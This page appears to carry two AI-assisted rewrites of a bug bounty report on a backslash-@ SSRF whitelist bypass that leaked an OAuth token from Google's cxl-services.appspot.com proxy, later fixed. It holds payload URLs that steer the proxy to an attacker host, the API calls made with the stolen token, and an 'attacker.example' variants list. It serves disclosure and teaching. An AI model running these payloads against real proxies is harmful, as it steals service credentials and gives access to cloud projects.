Skip to content
SSRF Write-up Intermediate

URL whitelist bypass in https://cxl-services.appspot.com

The URL whitelist on cxl-services.appspot.com could be bypassed using a backslash-@ trick, causing the proxy to send requests to an attacker-controlled server with an access token. This token granted access to several internal GCP projects, potentially allowing takeover of the App Engine app and GKE cluster.

David Schütz Follow

Published on feed.bugs.xdavidhu.me

Bounty$10,401 View original

Access Token for internal GCP project “cxl-services” (with scopes "https://www.googleapis.com/auth/dispatcher, https://www.googleapis.com/auth/jobs and https://www.googleapis.com/auth/cloud-platform") can be leaked using a URL whitelist bypass on https://cxl-services.appspot.com/proxy. This token could be used to…

David Schütz, on feed.bugs.xdavidhu.me

The full write-up lives on its author's site

It belongs to its author, so we link to it rather than copy it. The other two tabs are our own rewrites, checked against it.

Written with AI from the full original report and checked against it passage by passage; anything it could not back up was removed or toned down. The original is the record. 11 min read.

Context

https://cxl-services.appspot.com is an App Engine application that proxies demo API requests on Google Cloud product pages, for example the Cloud Text-to-Speech demo. A user trying a demo on a product page does not call the product API directly: the browser calls the proxy, and the proxy makes the outbound request on the user's behalf, attaching its own credentials.

The proxy accepts the destination in a url query parameter on the /proxy endpoint. Because the app runs with a service account, every request it forwards carries an OAuth access token in the authorization header. The app therefore has to restrict which destinations it will talk to, otherwise anyone could point it at a host they control and read the token out of the incoming request. That restriction is a domain whitelist.

The access token held by the app carries the scopes https://www.googleapis.com/auth/dispatcher, https://www.googleapis.com/auth/jobs and https://www.googleapis.com/auth/cloud-platform.

Setup

To observe the token leaving the proxy, the researcher needed an HTTPS endpoint that logs request headers. The report notes that plain HTTP with netcat would probably work too, but the access token would then be transported unencrypted.

The preparation steps were:

  1. Set up a VPS and point a domain at it.
  2. Generate an SSL certificate with LetsEncrypt.
  3. Download the researcher's httpsserver.py Python script and fill in the hostname variable on line 5.
  4. Create an empty directory, cd into it, and start the server with sudo /path/to/httpsserver.py --verbose.

If an HTTPS server that shows request headers is already available, the report says to skip straight to the request in step 5 of exploitation.

Finding it

The whitelist check on cxl-services.appspot.com can be bypassed with the \@ trick. The researcher's assessment is that the check is probably using the vulnerable regex from RFC 3986, Appendix B.

The mismatch is between two parsers. When validating a URL such as https://[your_domain]\@jobs.googleapis.com, the regex treats the authority as jobs.googleapis.com. The library that actually makes the request parses it differently: [your_domain] is the authority, and /@jobs.googleapis.com is the path. The whitelist check and the request therefore disagree about which host is being contacted, and the request goes to the attacker's domain with the token attached.

Exploitation

Step 1: Point the proxy at your own host

With the logging server running, open the following URL in a browser:

Text
https://cxl-services.appspot.com/proxy?url=https://[your_domain]\@jobs.googleapis.com/

The url parameter contains the attacker domain followed by \@jobs.googleapis.com. The validator reads the authority as jobs.googleapis.com, which is on the whitelist. The HTTP client reads the authority as [your_domain] and the remainder as a path, so the connection is made to the attacker's server.

Step 2: Read the token from the incoming request

On the VPS, the cxl-services.appspot.com App Engine app has sent a request with the header:

HTTP
authorization: Bearer [access-token]

That is the whole primitive: an anonymous user of the proxy can make it deliver its own bearer token to an arbitrary host.

Step 3: Establish what the token can reach

Using the token, the researcher sent read-only requests to establish impact. The token has some access to these GCP projects:

  • docai-demo
  • cxl-services
  • garage-staging
  • p-jobs

Based on other API requests, the researcher's impression was that the token has full access to docai-demo and cxl-services, and limited access on garage-staging and p-jobs.

On docai-demo there were two GCE instances:

  • gke-cluster-1-default-pool-af71d616-j454 ([redacted])
  • gke-cluster-1-default-pool-af71d616-stj9 ([redacted])

Both instances had a metadata entry with the key kube-env, which, to the researcher's limited Kubernetes knowledge, exposes all of the node's credentials: KUBELET_CERT, KUBELET_KEY and CA_CERT.

The cxl-services project hosts the App Engine app at https://cxl-services.appspot.com/. The token appeared to have full access to this App Engine app, but the researcher could not prove impact there at that point, because the appengine.googleapis.com API was not enabled on the cxl-services project and the researcher did not want to enable it. Some enabled staging or autopush APIs were also visible, so some non-public APIs or versions might be reachable through these projects.

Notably, the Metadata API could not be reached through the domain bypass: every attempt returned 500 Internal Server Error. The token nevertheless appeared to carry the same privileges as the service account that could have been stolen from the Metadata API.

Step 4: Account for every host contacted

During testing, the proxy may have sent HTTP or HTTPS requests, with the access token, to these domains not under the researcher's control:

  • xip.io (for 169.254.169.254.xip.io)
  • screenshot.googleplex.com
  • xdavidhu.me (GitHub Pages)
  • jobs.go (nonexistent domain)
  • [redacted], [redacted], metadata, metadata.[redacted] (for metadata testing, without success)
  • jobs.googleapis.com, texttospeech.googleapis.com

The API methods called with the obtained access tokens were:

  • https://oauth2.googleapis.com/tokeninfo
  • https://cloudresourcemanager.googleapis.com/v1/projects
  • https://appengine.googleapis.com/v1/apps/[project]/services (cxl-services)
  • https://compute.googleapis.com/compute/v1/projects/[project]/aggregated/instances (garage-staging, cxl-services, docai-demo)
  • https://servicemanagement.googleapis.com/v1/services?consumerId=project:[project] (cxl-services, p-jobs, garage-staging, docai-demo)
  • https://cloudconsole-pa.clients6.google.com/v2/entity/APP_ENGINE_VERSIONS_LIST (cxl-services)

Step 5: Prove control of the App Engine app

After the report was filed, the researcher demonstrated full access to the cxl-services.appspot.com GAE app by deploying a vrp-poc service at https://vrp-poc-dot-cxl-services.appspot.com/.

Other sensitive findings on the cxl-services project:

  • The bucket cxl-services.appspot.com has hourly appengine.googleapis.com/request_log files from 2017-10-18 up to the present day. These might contain sensitive user data.
  • The bucket staging.cxl-services.appspot.com was empty, so the source files were not available there. The get-version App Engine API call listed all filenames, such as google3/cloud/ux/services/services/proxy.py. The us.artifacts.cxl-services.appspot.com bucket, however, held some images from which the source code could be extracted.

The requests made with the obtained access tokens were:

Text
- https://servicemanagement.googleapis.com/v1/services/appengine.googleapis.com
- https://servicemanagement.googleapis.com/v1/services/[redacted].googleapis.com
- https://serviceusage.googleapis.com/v1beta1/projects/cxl-services/services/appengine.googleapis.com:enable
- https://cloudconsole-pa.clients6.google.com/graphql/SERVICE_USAGE_GRAPHQL
- https://servicemanagement.googleapis.com/v1/services/appengine.googleapis.com:enable?consumer_id=project%3Acxl-services (success)
- https://appengine.googleapis.com/v1/apps/cxl-services.appspot.com/services
- https://appengine.googleapis.com/v1/apps/cxl-services/services
- https://appengine.googleapis.com/v1/apps/cxl-services/services/default/versions
- https://servicemanagement.googleapis.com/v1/services/[redacted].googleapis.com:enable?consumer_id=project%3Acxl-services (fail)
- https://appengine.googleapis.com/v1/apps/cxl-services/services/default/versions/b347699687-dev-gokulr
- https://appengine.googleapis.com/v1/apps/cxl-services/services/default/versions/b347699687-dev-gokulr?view=FULL
- https://storage.googleapis.com/staging.cxl-services.appspot.com/ae-fingerprinted/[redacted] (404)
- https://storage.googleapis.com/staging.cxl-services.appspot.com/ae-fingerprinted/ (404)
- https://storage.googleapis.com/staging.cxl-services.appspot.com/ (empty)
- https://storage.googleapis.com/storage/v1/b?alt=json&fields=items%2Fid%2CnextPageToken&maxResults=1000&project=cxl-services&projection=noAcl
- https://storage.googleapis.com/cxl-services.appspot.com/ (request log!)
- https://storage.googleapis.com/artifacts.cxl-services.appspot.com/ (empty)
- https://storage.googleapis.com/us.artifacts.cxl-services.appspot.com/ (images!)
- https://storage.googleapis.com/storage/v1/b/cxl-services.appspot.com/o?alt=json&fields=items%2Fid%2CnextPageToken&maxResults=1000&project=cxl-services&projection=noAcl
- https://storage.googleapis.com/storage/v1/b/cxl-services.appspot.com/o?alt=json&maxResults=1000&project=cxl-services&projection=noAcl (log sizez!)

- https://storage.googleapis.com/upload/storage/v1/b/staging.cxl-services.appspot.com/o?alt=json&name=[redacted]&uploadType=multipart
- https://storage.googleapis.com/upload/storage/v1/b/staging.cxl-services.appspot.com/o?alt=json&name=[redacted]&uploadType=multipart
- https://storage.googleapis.com/upload/storage/v1/b/staging.cxl-services.appspot.com/o?alt=json&name=[redacted]&uploadType=multipart
- https://storage.googleapis.com/staging.cxl-services.appspot.com/
- https://storage.googleapis.com/staging.cxl-services.appspot.com/
- https://appengine.googleapis.com/v1/apps/cxl-services/services/vrp-poc/versions?alt=json

- https://storage.googleapis.com/storage/v1/b/cxl-services.appspot.com/o
- https://storage.googleapis.com/storage/v1/b/cxl-services.appspot.com/o?prefix=appengine.googleapis.com/request_log/2021

The staging.cxl-services.appspot.com bucket was empty before the researcher uploaded three POC files. The get-version App Engine API call listed all filenames. A bucket listing with a prefix was used to check whether logs from 2021 existed.

When Google asked whether any files with potential PII had been downloaded, the researcher confirmed that only the requests above were sent. The files that could contain user information were, from the researcher's testing, only the logs in cxl-services.appspot.com. None of those objects were downloaded; the bucket contents were only listed, several times, including with a prefix to check for 2021 logs.

Step 6: The first fix and the second bypass

Before writing the report up, the researcher tested the fix. It did fix the original https://[your_domain]\@jobs.googleapis.com trick, but a variation bypassed the whitelist again:

Text
https://cxl-services.appspot.com/proxy?url=https://sfmnev.vps.xdavidhu.me\[redacted]/

Opening this URL sent a request to the researcher's server with an access token. The bypass is not specific to the _ character: putting anything between the \ and the @ bypasses the whitelist, for example:

Text
https://cxl-services.appspot.com/proxy?url=https://sfmnev.vps.xdavidhu.me\[redacted]/

The team did not know about this bypass; the bug was reopened and then fixed. The bug was reopened, the team fixed it, and the researcher confirmed the bypass was fixed as well.

Step 7: The third bypass, through an old version

The old vulnerable versions were still present on the App Engine app. Even though the latest version was fixed, the old versions of the default service could still be called directly:

Text
https://b347699687-dev-gokulr-dot-default-dot-cxl-services.appspot.com/proxy?url=https://sfmnev.vps.xdavidhu.me\@jobs.googleapis.com/

This time two requests were sent to the researcher's VM and one to GitHub Pages (https://xdavidhu.me/). The GAE app's access token was in the authorization header. The researcher's POC service at https://vrp-poc-dot-cxl-services.appspot.com/ was still running at this point.

The latest bypass was later confirmed fixed as well.

Root cause

The whitelist check and the HTTP client parse the URL with different rules. The check is probably a regex of the RFC 3986 Appendix B form, which, for https://[your_domain]\@jobs.googleapis.com, identifies jobs.googleapis.com as the authority. The request library treats [your_domain] as the authority and /@jobs.googleapis.com as the path. Validation is performed on one interpretation and the request is made under another, so a host that was never whitelisted receives the request and the bearer token with it.

The first fix stopped the original \@ form; after the second bypass the team fixed that as well. The old vulnerable versions were still present on the App Engine app and could still be called directly. The third bypass called an old version of the default service directly.

Impact

An anonymous attacker could exploit the URL validation vulnerability and steal the access token that the cxl-services.appspot.com App Engine app sends. With that token, the attacker could access resources on the GCP projects docai-demo, cxl-services, garage-staging and p-jobs.

Attacks the researcher considered possible:

  • Take over the App Engine app https://cxl-services.appspot.com/, and steal the contents of all demo API requests and/or return malicious content to users trying the demos on the Cloud product pages.
  • Take over the GKE cluster used by docai-demo, which is probably running the demo on https://cloud.google.com/document-ai, and steal the contents of all demo API requests and/or return malicious content. This falls under the first attack's impact, since this demo is also proxied by cxl-services.appspot.com.
  • Try to escalate privileges and possibly gain access to more internal Google Cloud resources.

The Metadata API was not reachable through the bypass: every attempt returned 500 Internal Server Error. The token nevertheless appeared to have the same privileges as the service account that could have been stolen from the Metadata API. The researcher's view of the token's access was that it had full access to docai-demo and cxl-services and limited access on garage-staging and p-jobs; full access to the App Engine app was later demonstrated by deploying the vrp-poc service.

Fix

The report describes fixes rather than the code behind them. The first fix stopped the original \@ form. After the researcher's second bypass, the team fixed that as well, and the researcher confirmed it. After the third bypass through an old App Engine version, the team fixed that too, and the researcher confirmed it.

Variants to test

These follow from the parser-differential pattern in the report; each is worth trying wherever a URL is validated by one component and fetched by another.

  1. Insert characters between the backslash and the @, as in https://attacker.example\[redacted]/ and https://attacker.example\[redacted]/. A positive result is a request arriving at the attacker host with the proxy's credentials attached.
  2. Try the bare \@ form itself, https://attacker.example\@allowed.example/, against any endpoint that has recently changed its validator. A positive result is the same outbound request to the attacker host.
  3. Enumerate old deployments. On App Engine, request the version-prefixed hostnames (<version>-dot-<service>-dot-<app>.appspot.com) and repeat the payload against each. A positive result is a vulnerable version still serving the old code after the latest version was fixed.
  4. Compare the validator's view with the fetcher's view for other authority-confusing inputs, such as userinfo and encoded separators, and check which host actually receives the connection. A positive result is any input where the two disagree and the request reaches a non-whitelisted host.
  5. Where the proxy attaches credentials, check whether redirects are followed to hosts outside the whitelist. A positive result is the token arriving at a host that was never validated.
Or watch on YouTube
From the original on feed.bugs.xdavidhu.me

Written with AI from the full original report and checked against it passage by passage; anything it could not back up was removed or toned down. The original is the record. 23 min read.

What happened, in plain words

Google runs a small web application at https://cxl-services.appspot.com. Its job is to sit between the demo pages on Google Cloud product pages (for example the Cloud Text-to-Speech demo) and the real Google APIs behind them. When you click around in a demo, your browser does not talk to the product API directly. It talks to this middleman, and the middleman makes the real request for you.

A middleman like this is useful because the demo page does not need to hold any credentials itself. The middleman holds them. But that also means the middleman is a valuable target: if you can make it send a request to a server you control, it will bring its credentials along, and you can read them.

The researcher found a way to do exactly that. The middleman keeps a list of allowed destinations (a whitelist) and is supposed to refuse anything else. A quirk in how the URL is checked, compared with how the URL is actually used, let the researcher slip an arbitrary server past the check. The middleman then sent its access token to that server. With the token, the researcher could look around several internal Google Cloud projects, and later even deploy code into the middleman application itself.

Google fixed it, the researcher found a second way around the fix, Google fixed that, and then the researcher found a third way through an old, still-reachable version of the application. The whole story is a good example of a very common beginner-level bug class: two pieces of software reading the same text in two different ways.

The pieces you need to know

Before the steps make sense, here is the vocabulary in everyday terms.

  • API: a way for one program to ask another program to do something, like a waiter taking your order to the kitchen. You do not go into the kitchen yourself; you tell the waiter what you want and the waiter brings back the result.
  • Proxy: a middleman. Your browser asks the proxy, and the proxy asks the real service on your behalf. The proxy can add things to the request, such as login credentials, that your browser never sees.
  • App Engine: Google's service for running web applications. You upload your app, Google runs it for you. Each deployment is called a version, and old versions can stay around.
  • Service account: a robot user account that belongs to an application rather than a person. It has its own credentials.
  • Access token: a short string that proves who you are, a bit like a wristband at an event. Whoever holds the wristband gets in; the door does not check whose arm it is on. It is sent in an HTTP header called authorization, in the form Bearer <token>.
  • Header: extra information attached to a web request, separate from the address and the body. Think of the address on an envelope versus the notes written on the back.
  • Scope: a permission attached to a token, saying what it is allowed to do. A token can carry several scopes.
  • Whitelist: a list of things that are allowed. Here, a list of domains the proxy is permitted to contact.
  • SSRF (Server-Side Request Forgery): a bug where you can make a server send a request to a destination of your choosing. The server does the fetching, so it uses its own network position and its own credentials.
  • URL parsing: splitting a web address into its parts (scheme, host, path). Different software can split the same address differently, and that disagreement is the heart of this bug.
  • Regex: a pattern used to match text. A regex written to pull the host out of a URL can be fooled by unusual characters.
  • VPS: a virtual private server, a rented computer on the internet that you control.
  • GCP project: a container inside Google Cloud that holds resources (servers, storage, apps) and controls who can access them.
  • GCE instance: a virtual machine running in Google Cloud.
  • GKE: Google Kubernetes Engine, a service for running containers. A cluster is a group of machines managed together.
  • Metadata API: a special address inside Google Cloud that a virtual machine can ask for its own credentials. If you can reach it from elsewhere, you can often steal those credentials.
  • Bucket: a storage container in Google Cloud Storage, like a folder in the cloud.
  • PII: personally identifiable information, data that can identify a real person.

The target and why it matters

https://cxl-services.appspot.com is an App Engine application that proxies demo API requests on Google Cloud product pages, for example the Cloud Text-to-Speech demo. A user trying a demo on a product page does not call the product API directly: the browser calls the proxy, and the proxy makes the outbound request on the user's behalf, attaching its own credentials.

The proxy accepts the destination in a url query parameter on the /proxy endpoint. A query parameter is the part of a web address after the ?, made of name=value pairs. So a request to the proxy looks like .../proxy?url=<somewhere>, and the proxy goes and fetches <somewhere>.

Because the app runs with a service account, every request it forwards carries an OAuth access token in the authorization header. The app therefore has to restrict which destinations it will talk to, otherwise anyone could point it at a host they control and read the token out of the incoming request. That restriction is a domain whitelist.

The access token held by the app carries the scopes https://www.googleapis.com/auth/dispatcher, https://www.googleapis.com/auth/jobs and https://www.googleapis.com/auth/cloud-platform.

Those three scopes are permissions. cloud-platform in particular is a broad permission over Google Cloud resources, which is why the token was worth stealing.

Setting up a server to catch the token

To observe the token leaving the proxy, the researcher needed an HTTPS endpoint that logs request headers. HTTPS is the encrypted version of HTTP, the protocol browsers use to talk to websites. The report notes that plain HTTP with netcat would probably work too, but the access token would then be transported unencrypted. netcat is a small command-line tool that can listen on a network port and print whatever arrives. The reason for choosing HTTPS is that the token is a secret; sending it over plain HTTP would expose it to anyone watching the network in between.

The preparation steps were:

  1. Set up a VPS and point a domain at it.
  2. Generate an SSL certificate with LetsEncrypt.
  3. Download the researcher's httpsserver.py Python script and fill in the hostname variable on line 5.
  4. Create an empty directory, cd into it, and start the server with sudo /path/to/httpsserver.py --verbose.

In plain words: rent a computer on the internet (step 1), give it a name on the internet and a certificate so browsers and clients trust it over HTTPS (step 2), get a small program that listens for incoming requests and prints their headers (step 3), and run it (step 4). The --verbose flag means "print plenty of detail", which is exactly what you want when you are waiting for a token to arrive. sudo runs the program with administrator rights.

If an HTTPS server that shows request headers is already available, the report says to skip straight to the request in step 5 of exploitation.

Finding it

The whitelist check on cxl-services.appspot.com can be bypassed with the \@ trick. The researcher's assessment is that the check is probably using the vulnerable regex from RFC 3986, Appendix B. RFC 3986 is the standard that defines what a URL is, and its Appendix B contains a well-known regular expression for splitting a URL into its parts.

The mismatch is between two parsers. A parser is a piece of software that reads text and works out its structure. When validating a URL such as https://[your_domain]\@jobs.googleapis.com, the regex treats the authority as jobs.googleapis.com. The authority is the part of the URL that says which server to contact. The library that actually makes the request parses it differently: [your_domain] is the authority, and /@jobs.googleapis.com is the path. The path is the part after the host, like /about on a website.

The whitelist check and the request therefore disagree about which host is being contacted, and the request goes to the attacker's domain with the token attached.

A simple comparison: imagine a bouncer with a guest list who reads the name on your invitation, while the driver of the bus reads a different line on the same card to decide where to drive. The bouncer sees an approved name and waves the bus through, but the bus goes to a different address. The check and the action used different readings of the same text.

Exploitation

Step 1: Point the proxy at your own host

With the logging server running, open the following URL in a browser:

Text
https://cxl-services.appspot.com/proxy?url=https://[your_domain]\@jobs.googleapis.com/

Line by line: https://cxl-services.appspot.com/proxy is the proxy endpoint. ?url= starts the query parameter that tells the proxy where to go. https://[your_domain] is the researcher's own server. \@jobs.googleapis.com/ is the trick: a backslash, then an @, then a hostname that is on the whitelist.

The url parameter contains the attacker domain followed by \@jobs.googleapis.com. The validator reads the authority as jobs.googleapis.com, which is on the whitelist. The HTTP client reads the authority as [your_domain] and the remainder as a path, so the connection is made to the attacker's server.

Why this step: the whole point is to get the proxy to make an outbound connection to a machine the researcher controls, while the whitelist check believes the destination is an approved Google host.

Step 2: Read the token from the incoming request

On the VPS, the cxl-services.appspot.com App Engine app has sent a request with the header:

HTTP
authorization: Bearer [access-token]

Line by line: authorization is the header name. Bearer is the scheme, meaning "whoever presents this token is treated as the holder". [access-token] is the secret itself, redacted here.

That is the whole primitive: an anonymous user of the proxy can make it deliver its own bearer token to an arbitrary host. "Primitive" here means the basic building block of the attack; everything else is what you do with it.

Step 3: Establish what the token can reach

Using the token, the researcher sent read-only requests to establish impact. Read-only means the requests only ask for information; they do not change anything. This matters both ethically and practically: you want to show what is reachable without causing damage.

The token has some access to these GCP projects:

  • docai-demo
  • cxl-services
  • garage-staging
  • p-jobs

Based on other API requests, the researcher's impression was that the token has full access to docai-demo and cxl-services, and limited access on garage-staging and p-jobs.

On docai-demo there were two GCE instances:

  • gke-cluster-1-default-pool-af71d616-j454 ([redacted])
  • gke-cluster-1-default-pool-af71d616-stj9 ([redacted])

These are virtual machines. The names suggest they belong to a GKE cluster, which is a group of machines managed together.

Both instances had a metadata entry with the key kube-env, which, to the researcher's limited Kubernetes knowledge, exposes all of the node's credentials: KUBELET_CERT, KUBELET_KEY and CA_CERT. A metadata entry is a piece of information attached to a virtual machine that the machine itself can read. kube-env is a well-known entry on Kubernetes nodes that holds the credentials the node uses to talk to its cluster. A certificate and a key are the two halves of a cryptographic identity, like a passport and the matching signature.

The cxl-services project hosts the App Engine app at https://cxl-services.appspot.com/. The token appeared to have full access to this App Engine app, but the researcher could not prove impact there at that point, because the appengine.googleapis.com API was not enabled on the cxl-services project and the researcher did not want to enable it. APIs in Google Cloud are switched on per project; if the App Engine management API is off, you cannot use it to inspect or change the app, even with a powerful token. Enabling it would have been a change to Google's environment, which the researcher chose not to make.

Some enabled staging or autopush APIs were also visible, so some non-public APIs or versions might be reachable through these projects. Staging and autopush are names typically used for pre-release environments.

Notably, the Metadata API could not be reached through the domain bypass: every attempt returned 500 Internal Server Error. The Metadata API is the special internal address a virtual machine uses to fetch its own credentials. A 500 is the server saying "something went wrong on my side". The token nevertheless appeared to carry the same privileges as the service account that could have been stolen from the Metadata API. In other words, the researcher did not need the metadata route, because the stolen token already had comparable power.

Step 4: Account for every host contacted

During testing, the proxy may have sent HTTP or HTTPS requests, with the access token, to these domains not under the researcher's control:

  • xip.io (for 169.254.169.254.xip.io)
  • screenshot.googleplex.com
  • xdavidhu.me (GitHub Pages)
  • jobs.go (nonexistent domain)
  • [redacted], [redacted], metadata, metadata.[redacted] (for metadata testing, without success)
  • jobs.googleapis.com, texttospeech.googleapis.com

Why list these: when you test a bug that makes a server send requests, some of those requests may land on systems you do not own. Documenting them is part of responsible disclosure. [redacted] is the classic address of the cloud metadata service, which is why it was tried. xip.io is a service that turns an IP address into a hostname, used here to try to reach that metadata address through a name.

The API methods called with the obtained access tokens were:

  • https://oauth2.googleapis.com/tokeninfo
  • https://cloudresourcemanager.googleapis.com/v1/projects
  • https://appengine.googleapis.com/v1/apps/[project]/services (cxl-services)
  • https://compute.googleapis.com/compute/v1/projects/[project]/aggregated/instances (garage-staging, cxl-services, docai-demo)
  • https://servicemanagement.googleapis.com/v1/services?consumerId=project:[project] (cxl-services, p-jobs, garage-staging, docai-demo)
  • https://cloudconsole-pa.clients6.google.com/v2/entity/APP_ENGINE_VERSIONS_LIST (cxl-services)

Line by line: tokeninfo asks Google what a token is and what it allows, a good first step to understand what you have. cloudresourcemanager ... /projects lists projects the token can see. appengine ... /services lists the App Engine services in a project. compute ... /aggregated/instances lists virtual machines. servicemanagement ... /services lists which APIs are enabled for a project. The cloudconsole-pa call lists App Engine versions. Each of these is a read-only question, and the bracketed [project] is where the project name goes.

Step 5: Prove control of the App Engine app

After the report was filed, the researcher demonstrated full access to the cxl-services.appspot.com GAE app by deploying a vrp-poc service at https://vrp-poc-dot-cxl-services.appspot.com/. Deploying a service means uploading and running new code inside the application. The hostname pattern <service>-dot-<app>.appspot.com is how App Engine addresses a named service. A proof of concept (POC) is a small demonstration that proves the claim.

Other sensitive findings on the cxl-services project:

  • The bucket cxl-services.appspot.com has hourly appengine.googleapis.com/request_log files from 2017-10-18 up to the present day. These might contain sensitive user data.
  • The bucket staging.cxl-services.appspot.com was empty, so the source files were not available there. The get-version App Engine API call listed all filenames, such as google3/cloud/ux/services/services/proxy.py. The us.artifacts.cxl-services.appspot.com bucket, however, held some images from which the source code could be extracted.

In plain words: request logs are records of incoming requests, and they can contain user data. The staging bucket, where source files might have been stored, was empty, but the API still revealed the file names, and another bucket held images that could be turned back into source code.

The requests made with the obtained access tokens were:

Text
- https://servicemanagement.googleapis.com/v1/services/appengine.googleapis.com
- https://servicemanagement.googleapis.com/v1/services/[redacted].googleapis.com
- https://serviceusage.googleapis.com/v1beta1/projects/cxl-services/services/appengine.googleapis.com:enable
- https://cloudconsole-pa.clients6.google.com/graphql/SERVICE_USAGE_GRAPHQL
- https://servicemanagement.googleapis.com/v1/services/appengine.googleapis.com:enable?consumer_id=project%3Acxl-services (success)
- https://appengine.googleapis.com/v1/apps/cxl-services.appspot.com/services
- https://appengine.googleapis.com/v1/apps/cxl-services/services
- https://appengine.googleapis.com/v1/apps/cxl-services/services/default/versions
- https://servicemanagement.googleapis.com/v1/services/[redacted].googleapis.com:enable?consumer_id=project%3Acxl-services (fail)
- https://appengine.googleapis.com/v1/apps/cxl-services/services/default/versions/b347699687-dev-gokulr
- https://appengine.googleapis.com/v1/apps/cxl-services/services/default/versions/b347699687-dev-gokulr?view=FULL
- https://storage.googleapis.com/staging.cxl-services.appspot.com/ae-fingerprinted/[redacted] (404)
- https://storage.googleapis.com/staging.cxl-services.appspot.com/ae-fingerprinted/ (404)
- https://storage.googleapis.com/staging.cxl-services.appspot.com/ (empty)
- https://storage.googleapis.com/storage/v1/b?alt=json&fields=items%2Fid%2CnextPageToken&maxResults=1000&project=cxl-services&projection=noAcl
- https://storage.googleapis.com/cxl-services.appspot.com/ (request log!)
- https://storage.googleapis.com/artifacts.cxl-services.appspot.com/ (empty)
- https://storage.googleapis.com/us.artifacts.cxl-services.appspot.com/ (images!)
- https://storage.googleapis.com/storage/v1/b/cxl-services.appspot.com/o?alt=json&fields=items%2Fid%2CnextPageToken&maxResults=1000&project=cxl-services&projection=noAcl
- https://storage.googleapis.com/storage/v1/b/cxl-services.appspot.com/o?alt=json&maxResults=1000&project=cxl-services&projection=noAcl (log sizez!)

- https://storage.googleapis.com/upload/storage/v1/b/staging.cxl-services.appspot.com/o?alt=json&name=[redacted]&uploadType=multipart
- https://storage.googleapis.com/upload/storage/v1/b/staging.cxl-services.appspot.com/o?alt=json&name=[redacted]&uploadType=multipart
- https://storage.googleapis.com/upload/storage/v1/b/staging.cxl-services.appspot.com/o?alt=json&name=[redacted]&uploadType=multipart
- https://storage.googleapis.com/staging.cxl-services.appspot.com/
- https://storage.googleapis.com/staging.cxl-services.appspot.com/
- https://appengine.googleapis.com/v1/apps/cxl-services/services/vrp-poc/versions?alt=json

- https://storage.googleapis.com/storage/v1/b/cxl-services.appspot.com/o
- https://storage.googleapis.com/storage/v1/b/cxl-services.appspot.com/o?prefix=appengine.googleapis.com/request_log/2021

Line by line, in groups: the servicemanagement and serviceusage lines ask which APIs are enabled and try to enable one. The appengine lines list services and versions, and one asks for a full view of a specific version. The storage.googleapis.com/<bucket>/ lines browse buckets directly. The storage/v1/b lines list buckets and objects through the JSON API, with maxResults=1000 asking for up to a thousand results at a time. The upload lines write files into a bucket. The final line with prefix=appengine.googleapis.com/request_log/2021 filters the listing to 2021 logs.

The staging.cxl-services.appspot.com bucket was empty before the researcher uploaded three POC files. The get-version App Engine API call listed all filenames. A bucket listing with a prefix was used to check whether logs from 2021 existed.

When Google asked whether any files with potential PII had been downloaded, the researcher confirmed that only the requests above were sent. The files that could contain user information were, from the researcher's testing, only the logs in cxl-services.appspot.com. None of those objects were downloaded; the bucket contents were only listed, several times, including with a prefix to check for 2021 logs. Listing a bucket shows what is inside without opening the files, which is why the researcher could say no user data was taken.

Step 6: The first fix and the second bypass

Before writing the report up, the researcher tested the fix. It did fix the original https://[your_domain]\@jobs.googleapis.com trick, but a variation bypassed the whitelist again:

Text
https://cxl-services.appspot.com/proxy?url=https://sfmnev.vps.xdavidhu.me\[redacted]/

Line by line: the same proxy endpoint and url parameter. The destination is now sfmnev.vps.xdavidhu.me, the researcher's server. Then a backslash, then an underscore _, then @jobs.googleapis.com/. The extra underscore sits between the backslash and the @.

Opening this URL sent a request to the researcher's server with an access token. The bypass is not specific to the _ character: putting anything between the \ and the @ bypasses the whitelist, for example:

Text
https://cxl-services.appspot.com/proxy?url=https://sfmnev.vps.xdavidhu.me\[redacted]/

Line by line: identical, except the text between the backslash and the @ is now the word anything. This shows the fix only blocked the exact original shape, not the general idea behind it.

The team did not know about this bypass; the bug was reopened and then fixed. The bug was reopened, the team fixed it, and the researcher confirmed the bypass was fixed as well.

Step 7: The third bypass, through an old version

The old vulnerable versions were still present on the App Engine app. Even though the latest version was fixed, the old versions of the default service could still be called directly:

Text
https://b347699687-dev-gokulr-dot-default-dot-cxl-services.appspot.com/proxy?url=https://sfmnev.vps.xdavidhu.me\@jobs.googleapis.com/

Line by line: the host is no longer the main app hostname. It is b347699687-dev-gokulr-dot-default-dot-cxl-services.appspot.com, which follows the App Engine pattern <version>-dot-<service>-dot-<app>.appspot.com. That addresses one specific old version of the default service. The rest is the original \@ payload pointing at the researcher's server.

This time two requests were sent to the researcher's VM and one to GitHub Pages (https://xdavidhu.me/). The GAE app's access token was in the authorization header. The researcher's POC service at https://vrp-poc-dot-cxl-services.appspot.com/ was still running at this point.

The latest bypass was later confirmed fixed as well.

Root cause

The whitelist check and the HTTP client parse the URL with different rules. The check is probably a regex of the RFC 3986 Appendix B form, which, for https://[your_domain]\@jobs.googleapis.com, identifies jobs.googleapis.com as the authority. The request library treats [your_domain] as the authority and /@jobs.googleapis.com as the path. Validation is performed on one interpretation and the request is made under another, so a host that was never whitelisted receives the request and the bearer token with it.

The first fix stopped the original \@ form; after the second bypass the team fixed that as well. The old vulnerable versions were still present on the App Engine app and could still be called directly. The third bypass called an old version of the default service directly.

In everyday terms: the first fix patched one exact spelling of the trick, the second patched the whole family of spellings, and the third was not about spelling at all but about an old copy of the program still answering the phone.

Impact

An anonymous attacker could exploit the URL validation vulnerability and steal the access token that the cxl-services.appspot.com App Engine app sends. With that token, the attacker could access resources on the GCP projects docai-demo, cxl-services, garage-staging and p-jobs.

Attacks the researcher considered possible:

  • Take over the App Engine app https://cxl-services.appspot.com/, and steal the contents of all demo API requests and/or return malicious content to users trying the demos on the Cloud product pages.
  • Take over the GKE cluster used by docai-demo, which is probably running the demo on https://cloud.google.com/document-ai, and steal the contents of all demo API requests and/or return malicious content. This falls under the first attack's impact, since this demo is also proxied by cxl-services.appspot.com.
  • Try to escalate privileges and possibly gain access to more internal Google Cloud resources.

Escalate privileges means using a small amount of access to try to obtain more.

The Metadata API was not reachable through the bypass: every attempt returned 500 Internal Server Error. The token nevertheless appeared to have the same privileges as the service account that could have been stolen from the Metadata API. The researcher's view of the token's access was that it had full access to docai-demo and cxl-services and limited access on garage-staging and p-jobs; full access to the App Engine app was later demonstrated by deploying the vrp-poc service.

Fix

The report describes fixes rather than the code behind them. The first fix stopped the original \@ form. After the researcher's second bypass, the team fixed that as well, and the researcher confirmed it. After the third bypass through an old App Engine version, the team fixed that too, and the researcher confirmed it.

Variants to test

